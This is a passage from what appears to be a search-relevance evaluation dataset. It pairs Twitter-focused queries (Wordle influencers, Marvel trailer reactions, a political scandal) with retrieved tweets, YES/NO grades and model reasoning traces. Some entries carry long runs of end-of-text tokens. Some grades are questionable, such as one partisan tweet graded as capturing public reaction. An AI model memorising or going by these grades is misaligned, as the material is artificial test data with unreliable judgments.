@VitalikButerin: @IAPonomarenko Happy new year, and lots of love to you too.\n\nWish you guys a peace with justice in 2023.\n\n\u0421\u043b\u0430\u0432\u0430 \u0423\u043a\u0440\u0430\u0457\u043d\u0456\u2026| created_at: Sat Dec 31 22:15:52 +0000 2022 | favorite_count: 0 | quote_count: 0 | reply_count: 0 | retweet_count: 657 | is_quote_status: False | retweeted: False | lang: und What even is an institution?\n\nhttps://vitalik.eth.limo/general/2022/\n\nIs this web page useful for this query?\n\nQuery Decomposition:\n1. {Top 5 most influential}: The document does not provide a list or ranking of influential people -> ([0], UNSURE)\n2. {#Wordle players}: The document does not mention Wordle or any players of the game -> ([0], UNSATISFIED)\n3. {on Twitter right now}: The document is about Vitalik Buterin's Twitter profile, but it does not mention Wordle or its players -> ([0], UNSURE)\n\nAssessment: The document does not contain any relevant information about the top 5 most influential Wordle players on Twitter. NO."
            },
            {
                "grade": "NO",
                "title": "",
                "url": "https://twitter.com/waitbutwhy",
                "published_date": "2013-03-20",
                "text": "Writer, infant| profile_url: https://waitbutwhy.com/ | name: Tim Urban | created_at: Wed Mar 20 02:43:48 +0000 2013 | favourites_count: 3520 | followers_count: 766159 | friends_count: 737 | media_count: 1546 | possibly_sensitive: False | verified: True | statuses_count: 5916 | location: My book What's Our Problem? is now available.\n\nThe book introduces a new framework for thinking about our chaotic political environment. With 303 drawings, it's a toolbox for understanding our societies, our group dynamics, and our own minds.\n\nGet it here: http://waitbutwhy.com/whatsourproblem| created_at: Tue Feb 21 11:21:24 +0000 2023 | favorite_count: 12792 | quote_count: 311 | reply_count: 788 | retweet_count: 1939 | is_quote_status: False | retweeted: False | lang: en Humanity is like a giant charging up a narrow mountain ridge towards a utopia where we've solved poverty, disease, even aging itself.\n\nBut rapid progress is a double-edged sword. The higher we climb, the steeper the cliffs next to the ridge and the more catastrophic the fall.| created_at: Wed Apr 12 18:28:31 +0000 2023 | favorite_count: 716 | quote_count: 6 | reply_count: 47 | retweet_count: 76 | is_quote_status: False | retweeted: False | lang: en By the way the little cells in that photo are each the size of Texas.| created_at: Mon Apr 10 21:46:04 +0000 2023 | favorite_count: 297 | quote_count: 1 | reply_count: 19 | retweet_count: 7 | is_quote_status: False | retweeted: False | lang: en The sun compresses 600 million tons of hydrogen into 596 million tons of helium every second. About the mass of 2,000 skyscrapers every second.\n\n[Image: NSO/NSF/AURA] https://twitter.com/waitbutwhy/status/1645543692449599498/photo/1| created_at: Mon Apr 10 21:46:03 +0000 2023 | favorite_count: 796 | quote_count: 9 | reply_count: 41 | retweet_count: 63 | is_quote_status: False | retweeted: False | lang: en The first city to reach a million people is believed to be Rome around 100 BC. Today, there are ~575 cities with over 1 million people. Each dot is a massive metropolis.\n\n[Sou",
                "model_trace": "Query Decomposition:\n1. {top 5 most influential}: The document does not provide a ranking or list of influential individuals -> ([0], UNSATISFIED)\n2. {#Wordle players}: The document does not mention Wordle or any players of the game -> ([0], UNSATISFIED)\n3. {on Twitter}: The document is related to a Twitter profile, but it does not focus on Wordle players or their influence -> ([1], UNSURE)\n\nAssessment: The document does not satisfy the primary subcomponents of the query related to influential Wordle players. Therefore, it is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "PowerLanguish - Josh Wardle",
                "url": "https://twitter.com/powerlanguish?lang=en",
                "published_date": null,
                "text": "powerlanguage. I created Place and The Button @reddit. And more recently Wordle.\n@powerlanguage@xoxo.zone| profile_url: http://powerlanguage.co.uk | name: Josh Wardle | created_at: Mon Jun 29 04:05:38 +0000 2015 | favourites_count: 848 | followers_count: 58150 | friends_count: 243 | media_count: 21 | statuses_count: 170 | location: New York City  An update on Wordle https://t.co/TmHd0AIRLX| created_at: Mon Jan 31 21:32:29 +0000 2022 | favorite_count: 165636 | quote_count: 7368 | reply_count: 3093 | retweet_count: 13636 | lang: en  I want to acknowledge the folks who have supported me along the way.\n@chrisdary, @marcprecipice, @gooeyblob, @I_am_Dan_Ellis, @spladug, @madlymattlee, @bassett_green, @waxpancake, @ttwardle, @irihapeta and the NZ players #dailywordleclub and of course @PakLocknDropit\nThank you| created_at: Mon Jan 31 21:32:30 +0000 2022 | favorite_count: 6072 | quote_count: 20 | reply_count: 84 | retweet_count: 114 | lang: en  Wordle, a daily word guessing game I made, got a shoutout in the NYT newsletter today: https://t.co/TWSP8M4x4E. Thanks @melissakirsch \nYou can play it here: https://t.co/8PAwjKgPF7 https://t.co/0yCrbGjcoy| created_at: Wed Nov 24 21:46:14 +0000 2021 | favorite_count: 4941 | quote_count: 254 | reply_count: 284 | retweet_count: 648 | lang: en  Today I fixed a long standing bug in Wordle's puzzle selection code that was causing folks in certain timezones to get the incorrect puzzle. This largely affected my friends in Australia and New Zealand. 1/2| created_at: Mon Jan 10 13:09:36 +0000 2022 | favorite_count: 2325 | quote_count: 153 | reply_count: 181 | retweet_count: 154 | lang: en  Added a share button to Wordle that generates a spoiler-free emoji grid for you. Shoutout to @irihapeta for inventing such a cool way to share your results each day.\n\ud83d\udc47\n\u2b1b\u2b1b\u2b1b\u2b1b\u2b1b\n\ud83d\udfe8\u2b1b\ud83d\udfe8\ud83d\udfe9\u2b1b\n\ud83d\udfe9\ud83d\udfe9\ud83d\udfe9\ud83d\udfe9\ud83d\udfe9\nWordle 180 3/6\nTry it out: https://t.co/pZTmeT1p7E| created_at: Thu Dec 16 14:54:16 +0000 2021 | favorite_count: 1028 | quote_count: 54 | reply_count: 80 | retweet_count: 77 | lang: en  A byproduct of this change is that a",
                "model_trace": "Query Decomposition:\n1. {Top 5 most influential #Wordle players on Twitter}: The document provides information about Josh Wardle, the creator of Wordle, and mentions other individuals and groups who have supported him. However, it does not explicitly rank or identify the top 5 most influential players -> ([1], UNSATISFIED).\n\nAssessment: The document does not satisfy the key subcomponent of identifying the top 5 most influential #Wordle players on Twitter. It only provides information about the creator of Wordle and some acknowledgments, which is not aligned with the user's intent to find a ranked list of influential players. NO."
            },
            {
                "grade": "NO",
                "title": "Meet the Guy Whose Wordle Streak You Will Never Beat",
                "url": "https://slate.com/culture/2022/01/wordle-game-answers-strategy-tips-longest-streak-interview.html",
                "published_date": null,
                "text": "Video Games\n \nAnd the moment when this champion Wordler was most afraid of losing it.\n \n  \n \n \nWordle via Slate\n \n \n \n \n \n \n Wordle has dominated our timelines and family group chats over the past month. It\u2019s fun to test your own lexical mettle each day, guessing the newest five-letter word in six or less tries; it\u2019s more fun to brag about how good you are, and make your friends and family bow down to your intellect as a result.\n What, just me? Or, at least, I wish that were me. I\u2019m not an all-star Wordler, but are some budding world champs out there, as I found out when I asked people to share their longest winning streaks. Spencer Evans was the one whose accomplishment impressed me the most: 83 unbroken wins and counting. A wordsmith himself, Evans first discovered Wordle earlier this month. Almost immediately, he went back and played through the entire puzzles archive and racked up win after win after win, cataloguing each and every one on Twitter. Now that he\u2019s caught up with the rest of us daily players, his streak continues to grow.\n \n \n \n \n I reached out to Evans via email to ask about just how he manages to be this good at this guessing game, what tips he has for the rest of us, and if (knock-on-wood) failing to solve a puzzle one of these days will make him swear off Wordle for good. Our edited conversation is below.\n  How did you get into Wordle? \n I started seeing these inexplicable little squares all over Twitter, and I had no idea what was going on. I knew they were somehow related to a game, but I could not, for the life of me, figure out how it worked. After a few days, I caved, checked out the website, and was immediately hooked; here we are, 200-plus puzzles later.\n \n  What\u2019s your longest winning streak so far? \n My current streak, as of Wordle 221, is 83 [wins]. My previous streaks were 60 and 67.\n  Does that mean you\u2019ve been playing for 83 days straight?! \n I have not been playing for 83 days straight. I use a tool that allows you to play previous puzzles, so I\u2019ve played all 221 puzzles so far,",
                "model_trace": "[QUERY] Who are the top 5 most influential #Wordle players on Twitter right now?\n\n[QUERY DECOMPOSITION]\n1. {top 5 most influential}: The document needs to identify multiple influential players, ideally ranking them -> ([0], UNSURE)\n2. {#Wordle players on Twitter}: The document needs to specifically mention Wordle players who are active on Twitter -> ([1], SATISFIED)\n3. {right now}: The document should provide current information about these players -> ([0], UNSURE)\n\nAssessment: The document provides information about one Wordle player, Spencer Evans, and his accomplishments on Twitter. However, it does not provide a list of the top 5 most influential players or rank multiple players. Therefore, it does not fully satisfy the query's requirements.\n\nNO."
            },
            {
                "grade": "NO",
                "title": "Most Influential Twitter Accounts",
                "url": "https://tweetdelete.net/resources/most-influential-twitter-accounts/",
                "published_date": null,
                "text": "Social platforms like X, formerly Twitter, are influential as they allow people to connect and communicate like never before. They enable information to spread quickly and impact people\u2019s opinions globally. The most influential Twitter accounts can put the spotlight on anything, as millions of users follow these people. Today\u2019s discussion focuses on these profiles.\n \nTable of Contents\n   10 Most Followed Twitter Accounts: Profiles With the Largest Following on X   A Guide on How To Find the Most Influential Twitter Accounts Who Follow You   How To Reach Top 100 Most Influential Twitter Accounts: Setting Your Targets   Top 5 Most Retweeted Tweets: Ranking Influence via Engagement   How To Get More Followers on X: 2 Things You Must Do Right Away   TweetDelete Prevents Your Posts From Affecting Your Influence Negatively    \n  10 Most Followed Twitter Accounts: Profiles With the Largest Following on X  \nThe most obvious way to judge whether accounts are influential is to look at their follower counts. A larger follower count ensures that the account\u2019s posts regularly reach the feeds of millions of people.\u00a0\nKeeping this in mind, here\u2019s a list of the top ten most followed Twitter accounts as of April 2024.\n \n1. Elon Musk\nElon Musk (@elonmusk) takes the top spot, with over 180 million Twitter followers. To give you some context, this is more than half of the U.S. population. His popularity on X reached new heights after he bought this social network for $44 billion.\u00a0\nIn June 2022, his follower count crossed 100 million. It took almost another year for the billionaire businessman to reach the top spot with over 133 million followers.\nA single post by Elon Musk about Dogecoin in 2021, a cryptocurrency inspired by memes, increased its value by 23%.\n2. Barack Obama\n44th President of the U.S., Barack Obama (@BarackObama), had the most followers on Twitter until March 2023. Even though he is an ex-president, his posts continue to get millions of views regularly.\u00a0\nAlthough his tweets mainly concern politics and activism, he sh",
                "model_trace": "Query Decomposition:\n1. [Top 5 most influential #Wordle players]: The document does not mention #Wordle players at all -> ([0], UNSATISFIED)\n2. [On Twitter right now]: The document discusses influential Twitter accounts but does not specify anything about #Wordle players or their current influence -> ([0], UNSATISFIED)\n\nAssessment: The document does not contain any information about #Wordle players, which is the primary focus of the query. NO."
            }
        ]
    },
    {
        "query": "What are people on Twitter saying about the latest Marvel movie trailer?",
        "grid_pos": [
            1,
            6
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Twitter",
        "reasoning_trace": [
            "These queries test Exa's ability to understand complex, nuanced questions about current events, pop culture, and social media trends that require aggregating and synthesizing information from many tweets. The queries cover a range of topics like movies, games, politics, social media challenges, and natural disasters, which demonstrates the breadth of Exa's knowledge. Answering these queries well would require understanding context, sentiment, and the most relevant/influential voices on Twitter."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "",
                "url": "https://twitter.com/MarvelStudios/status/1540001736320065538?s=20&amp;t=aXI4lAQo9uaB2HGJzScOFQ",
                "published_date": "2022-06-23",
                "text": "Get the \ud83c\udf7f out! Happy #THORsday! https://twitter.com/MarvelStudios/status/1540001736320065538/video/1| created_at: Thu Jun 23 16:00:00 +0000 2022 | favorite_count: 25731 | quote_count: 863 | reply_count: 191 | retweet_count: 4444 | is_quote_status: False | retweeted: False | lang: en @MarvelStudios The energy in this trailer is electric!\u26a1\ufe0f| created_at: Thu Jun 23 17:42:16 +0000 2022 | favorite_count: 15 | quote_count: 0 | reply_count: 1 | retweet_count: 1 | is_quote_status: False | retweeted: False | lang: en @MarvelStudios \u2764\ufe0f| created_at: Thu Jun 23 18:24:11 +0000 2022 | favorite_count: 0 | quote_count: 0 | reply_count: 0 | retweet_count: 0 | is_quote_status: False | retweeted: False | lang: und @MarvelStudios No| created_at: Thu Jun 23 16:00:14 +0000 2022 | favorite_count: 9 | quote_count: 0 | reply_count: 3 | retweet_count: 0 | is_quote_status: False | retweeted: False | lang: und @MarvelStudios \u201cmy ex-girlfriend jane\u201d| created_at: Thu Jun 23 16:01:11 +0000 2022 | favorite_count: 3 | quote_count: 0 | reply_count: 0 | retweet_count: 0 | is_quote_status: False | retweeted: False | lang: en @MarvelStudios CELESTIALS| created_at: Thu Jun 23 16:01:57 +0000 2022 | favorite_count: 44 | quote_count: 0 | reply_count: 1 | retweet_count: 3 | is_quote_status: False | retweeted: False | lang: en @MarvelStudios Yo are those Celestials? https://twitter.com/Doodlen0odle/status/1540002333354086400/photo/1| created_at: Thu Jun 23 16:02:22 +0000 2022 | favorite_count: 96 | quote_count: 0 | reply_count: 2 | retweet_count: 3 | is_quote_status: False | retweeted: False | lang: en @MarvelStudios #THORsday nice checkmate| created_at: Thu Jun 23 16:02:33 +0000 2022 | favorite_count: 0 | quote_count: 0 | reply_count: 0 | retweet_count: 0 | is_quote_status: False | retweeted: False | lang: en",
                "model_trace": "Query Decomposition:\n1. {What are people on Twitter saying}: The document contains tweets from people reacting to the latest Marvel movie trailer -> ([1], SATISFIED)\n2. {latest Marvel movie trailer}: The document specifically references the latest Marvel movie trailer -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents. YES."
            },
            {
                "grade": "NO",
                "title": "",
                "url": "https://twitter.com/MarvelStudios/status/1528915552885846016",
                "published_date": "2022-05-24",
                "text": "Them \u2764\ufe0f\n\nCheck out the brand-new poster for Marvel Studios\u2019 #ThorLoveAndThunder and witness it only in theaters July 8. https://twitter.com/MarvelStudios/status/1528915552885846016/photo/1| created_at: Tue May 24 01:47:28 +0000 2022 | favorite_count: 132864 | quote_count: 3291 | reply_count: 813 | retweet_count: 24346 | is_quote_status: False | retweeted: False | lang: en <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endof",
                "model_trace": "Query Decomposition:\n1. {people on Twitter}: The document is a tweet from the official Marvel Studios account, so it is on Twitter -> ([1], SATISFIED)\n2. {saying about the latest Marvel movie trailer}: The document mentions a poster for \"Thor: Love and Thunder\" but does not provide any user comments or reactions about the trailer -> ([1], UNSATISFIED)\n\nAssessment: The document is on Twitter and relates to a Marvel movie, but it does not provide any information about what people are saying about the latest Marvel movie trailer. Therefore, it does not satisfy the user's intent. NO."
            },
            {
                "grade": "NO",
                "title": "",
                "url": "https://twitter.com/thediegocrespo/status/1672747287028838402",
                "published_date": "2023-06-24",
                "text": "many have commented on in but I remain fascinated by the fake trailer industrial complex https://t.co/OHkEt7S94A| created_at: Sat Jun 24 23:23:26 +0000 2023 | favorite_count: 7916 | quote_count: 45 | reply_count: 46 | retweet_count: 339 | is_quote_status: False | retweeted: False | lang: en",
                "model_trace": "Query Decomposition:\n1. {What are people on Twitter saying}: This document is a tweet from a Twitter user, so it is relevant to what people on Twitter are saying -> ([1], SATISFIED)\n2. {about the latest Marvel movie trailer}: The tweet mentions \"fake trailer industrial complex\" but does not specify anything about the latest Marvel movie trailer -> ([1], UNSATISFIED)\n\nAssessment: The document is relevant to what people on Twitter are saying but does not specifically address the latest Marvel movie trailer. Therefore, it does not fully satisfy the query. NO."
            },
            {
                "grade": "NO",
                "title": "Marvel Studios (@MarvelStudios) / X",
                "url": "https://twitter.com/marvelstudios",
                "published_date": null,
                "text": "Marvel Studios\u2019 Ant-Man and The Wasp: Quantumania, only in theaters this Friday.\nGet tickets now \u2b07\ufe0f| name: Marvel Studios | created_at: Wed Jul 06 18:00:10 +0000 2016 | favourites_count: 1477 | followers_count: 13439713 | friends_count: 101 | media_count: 5819 | possibly_sensitive: False | verified: True | statuses_count: 12509 | location: Los Angeles, CA  Get ready for one last ride. \nWatch the brand-new trailer for Marvel Studios\u2019 Guardians of the Galaxy Vol. 3, written and directed by @JamesGunn. Only in theaters May 5. #GotGVol3 https://twitter.com/MarvelStudios/status/1624915823457611776/video/1| created_at: Sun Feb 12 23:38:16 +0000 2023 | favorite_count: 72818 | quote_count: 5380 | reply_count: 694 | retweet_count: 20197 | is_quote_status: False | retweeted: False | lang: en  RT @TwitterMovies: We\u2019re getting an incoming message from the Quantum Realm\u2026Michelle Pfeiffer, Michael Douglas, and Director Peyton Reed ar\u2026| created_at: Wed Feb 15 18:31:35 +0000 2023 | favorite_count: 0 | quote_count: 0 | reply_count: 0 | retweet_count: 83 | is_quote_status: False | retweeted: False | lang: en  RT @TwitterMovies: We\u2019ve got ant-swers! Stay tuned for more tweets from the #Quantumania cast.| created_at: Wed Feb 15 18:31:30 +0000 2023 | favorite_count: 0 | quote_count: 0 | reply_count: 0 | retweet_count: 44 | is_quote_status: True | retweeted: False | lang: en  TOMORROW \u2757\n \nExperience Marvel Studios\u2019 #AntManAndTheWaspQuantumania in 3D, only in theaters. Get tickets now: http://www.fandango.com/AntManAndTheWasp https://twitter.com/MarvelStudios/status/1625917868381728768/video/1| created_at: Wed Feb 15 18:00:02 +0000 2023 | favorite_count: 1775 | quote_count: 21 | reply_count: 24 | retweet_count: 184 | is_quote_status: False | retweeted: False | lang: en  It\u2019s almost time.\n \nTomorrow, experience Marvel Studios\u2019 #AntManAndTheWaspQuantumania in 3D, only in theaters. Get tickets now: http://www.fandango.com/AntManAndTheWasp https://twitter.com/MarvelStudios/status/1625902767310254082/video/1| created_at: Wed Feb 15 17:00:02",
                "model_trace": "Query Decomposition:\n1. {What are people on Twitter saying}: This subcomponent requires user-generated content or reactions from other Twitter users -> ([0], UNSATISFIED)\n2. {latest Marvel movie trailer}: The document mentions the latest Marvel movie trailers and related promotional content -> ([1], SATISFIED)\n\nAssessment: The document contains information about the latest Marvel movie trailers but does not include reactions or comments from people on Twitter. Therefore, it does not fully satisfy the user's intent of understanding what people are saying about the trailer. NO."
            },
            {
                "grade": "NO",
                "title": "Marvel Entertainment - X.com",
                "url": "https://twitter.com/marvel",
                "published_date": null,
                "text": "The official Twitter for Marvel comics, movies, games, and more.| name: Marvel Entertainment | created_at: Fri Aug 01 11:26:10 +0000 2008 | favourites_count: 7421 | followers_count: 17207855 | friends_count: 772 | media_count: 21740 | possibly_sensitive: False | verified: True | statuses_count: 64746 | location: New York, NY  RT @AntMan: Jonathan Majors is Kang. \nThis Friday, witness him in Marvel Studios\u2019 #AntManAndTheWaspQuantumania. Get tickets now: https://t\u2026| created_at: Wed Feb 15 01:30:36 +0000 2023 | favorite_count: 0 | quote_count: 0 | reply_count: 0 | retweet_count: 139 | is_quote_status: False | retweeted: False | lang: en  RT @AntMan: This Friday, the \u201cbest Ant-Man film yet\u201d arrives. \nExperience Marvel Studios\u2019 #AntManAndTheWaspQuantumania only in theaters Fe\u2026| created_at: Wed Feb 15 01:30:33 +0000 2023 | favorite_count: 0 | quote_count: 0 | reply_count: 0 | retweet_count: 152 | is_quote_status: False | retweeted: False | lang: en  In the case of time travel, things can get very weird, very fast. Look back at seven of Kang's wackiest #MarvelComics stories from over the decades. https://bit.ly/3xm4TJR| created_at: Wed Feb 15 00:00:00 +0000 2023 | favorite_count: 535 | quote_count: 5 | reply_count: 5 | retweet_count: 44 | is_quote_status: False | retweeted: False | lang: en  Celebrate #BlackHistoryMonth with a special one-shot featuring the iconic heroes of Wakanda! 'Marvel's Voices: Wakanda Forever' #1 hits shelves tomorrow. https://twitter.com/Marvel/status/1625630974192103427/video/1| created_at: Tue Feb 14 23:00:01 +0000 2023 | favorite_count: 683 | quote_count: 5 | reply_count: 11 | retweet_count: 80 | is_quote_status: False | retweeted: False | lang: en  Celebrate the day of love with brand-new vertical comics from @MarvelUnlimited's Infinity Comics lineup! There's a special story for every lover of the Marvel Universe. \ud83d\ude0d https://bit.ly/3lzcYIw| created_at: Tue Feb 14 21:29:24 +0000 2023 | favorite_count: 373 | quote_count: 4 | reply_count: 3 | retweet_count: 31 | is_quote_status: False | retweete",
                "model_trace": "Query Decomposition:\n1. {What are people on Twitter saying}: The query asks for public opinions and reactions on Twitter -> ([1], UNSATISFIED)\n2. {latest Marvel movie trailer}: The document is related to Marvel content but does not specifically mention reactions to the latest Marvel movie trailer -> ([1], UNSATISFIED)\n\nAssessment: The document does not provide public opinions or reactions about the latest Marvel movie trailer. It primarily contains promotional tweets from Marvel Entertainment. NO."
            },
            {
                "grade": "NO",
                "title": "Marvel Updates (@Updates4Marvel) / X",
                "url": "https://twitter.com/updates4marvel?lang=en",
                "published_date": null,
                "text": "All About Marvel| profile_url: https://marvelupdates.org/ | name: Marvel Updates | created_at: Mon May 24 15:32:29 +0000 2021 | favourites_count: 3027 | followers_count: 6468 | friends_count: 511 | media_count: 2483 | statuses_count: 2548  Marvel Studios is currently developing a limited series centered around Steve Rogers' journey to return the Infinity Stones.\nVia:(@MyTimeToShineH) https://t.co/dTbkb3Rxtj| created_at: Sun May 26 21:42:18 +0000 2024 | favorite_count: 11488 | quote_count: 287 | reply_count: 427 | retweet_count: 692 | lang: en  #Loki2 trailer will be released on Saturday, July 22nd! https://t.co/WhpmMzNiBC| created_at: Fri Jul 14 16:46:11 +0000 2023 | favorite_count: 3916 | quote_count: 220 | reply_count: 61 | retweet_count: 592 | lang: en  The first official trailer for #Deadpool3 is expected to be released in mid-December!\nVia: Movie News https://t.co/xoEMkOdA8O| created_at: Sat Jul 01 14:44:01 +0000 2023 | favorite_count: 3880 | quote_count: 17 | reply_count: 31 | retweet_count: 311 | lang: en  #ChrisHemsworth will return to play the character #Thor again in the movie #AvengersTheKangDynasty! \nVia: IMDb / Wikipedia https://t.co/qm35ERc7pP| created_at: Fri Jul 07 18:16:13 +0000 2023 | favorite_count: 2990 | quote_count: 28 | reply_count: 32 | retweet_count: 234 | lang: en  A new official trailer for 'DEADPOOL &amp; WOLVERINE' will be released next month, which will be (1 minute and 38 seconds) long! https://t.co/YW5W8lzWrs| created_at: Fri Feb 23 16:37:24 +0000 2024 | favorite_count: 2868 | quote_count: 11 | reply_count: 28 | retweet_count: 313 | lang: en  #MarvelStudios wants Supreme Strange to appear in '#AvengersSecretWars'!\nVia: Movie News https://t.co/eq1xF3aSgw| created_at: Wed Aug 23 15:59:39 +0000 2023 | favorite_count: 2778 | quote_count: 40 | reply_count: 39 | retweet_count: 190 | lang: en  Rumor: \"Deadpool and Wolverine\" will allegedly feature Ben Affleck's Batman after Deadpool accidentally jumps into the wrong universe. https://t.co/OLUYUeZr1V| created_at: Fri May 24 14:03:20 +0000 ",
                "model_trace": "Query Decomposition:\n1. {people on Twitter}: This document is a Twitter profile, so it is likely to contain tweets from people on Twitter -> ([1], SATISFIED)\n2. {latest Marvel movie trailer}: The document mentions various Marvel-related news and trailers but does not provide specific tweets about the latest Marvel movie trailer -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {people on Twitter} and {latest Marvel movie trailer}. Since {latest Marvel movie trailer} is not satisfied, the document is not helpful for the user's request. NO."
            }
        ]
    },
    {
        "query": "How are people on Twitter reacting to the latest political scandal trending on the platform?",
        "grid_pos": [
            1,
            6
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Twitter",
        "reasoning_trace": [
            "These queries test Exa's ability to understand complex, nuanced questions about current events, pop culture, and social media trends that require aggregating and synthesizing information from many tweets. The queries cover a range of topics like movies, games, politics, social media challenges, and natural disasters, which demonstrates the breadth of Exa's knowledge. Answering these queries well would require understanding context, sentiment, and the most relevant/influential voices on Twitter."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "",
                "url": "https://twitter.com/repdarrellissa/status/1672992630358040577",
                "published_date": "2023-06-25",
                "text": "Joe Biden has officially lawyered up.\n\nThis is what a real scandal looks like.| created_at: Sun Jun 25 15:38:20 +0000 2023 | favorite_count: 59064 | quote_count: 1034 | reply_count: 3866 | retweet_count: 14802 | is_quote_status: False | retweeted: False | lang: en <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|end",
                "model_trace": "Query Decomposition:\n1. [How are people on Twitter reacting]: The document provides a single tweet, including its engagement metrics (favorite_count, quote_count, reply_count, retweet_count), which gives some indication of reaction -> ([2], SATISFIED)\n2. [latest political scandal trending on the platform]: The tweet mentions a political scandal involving Joe Biden lawyered up, which is likely related to the latest political scandal -> ([2], SATISFIED)\n\nAssessment: The document provides a specific tweet related to the political scandal and includes engagement metrics that give an idea of how people are reacting. Both relevant subcomponents are satisfied. YES."
            },
            {
                "grade": "NO",
                "title": "",
                "url": "https://twitter.com/TheOnion/status/1672779165244727297",
                "published_date": "2023-06-25",
                "text": "Woman Who Left Room Crying Earlier Expects To Jump Back Into Party Just Like That https://t.co/U6z1Xss3bP https://t.co/F05bDGvQLP| created_at: Sun Jun 25 01:30:06 +0000 2023 | favorite_count: 1608 | quote_count: 10 | reply_count: 8 | retweet_count: 72 | is_quote_status: False | retweeted: False | lang: en",
                "model_trace": "Query Decomposition:\n1. {people on Twitter reacting}: The document is a tweet from The Onion, which is a single tweet and not a collection of reactions -> ([1], UNSATISFIED)\n2. {latest political scandal trending on the platform}: The tweet content is about a woman at a party and does not mention any political scandal -> ([1], UNSATISFIED)\n\nAssessment: The document does not satisfy any of the key subcomponents of the query. NO."
            },
            {
                "grade": "YES",
                "title": "",
                "url": "https://twitter.com/DrakeGatsby/status/1672650860801806337",
                "published_date": "2023-06-24",
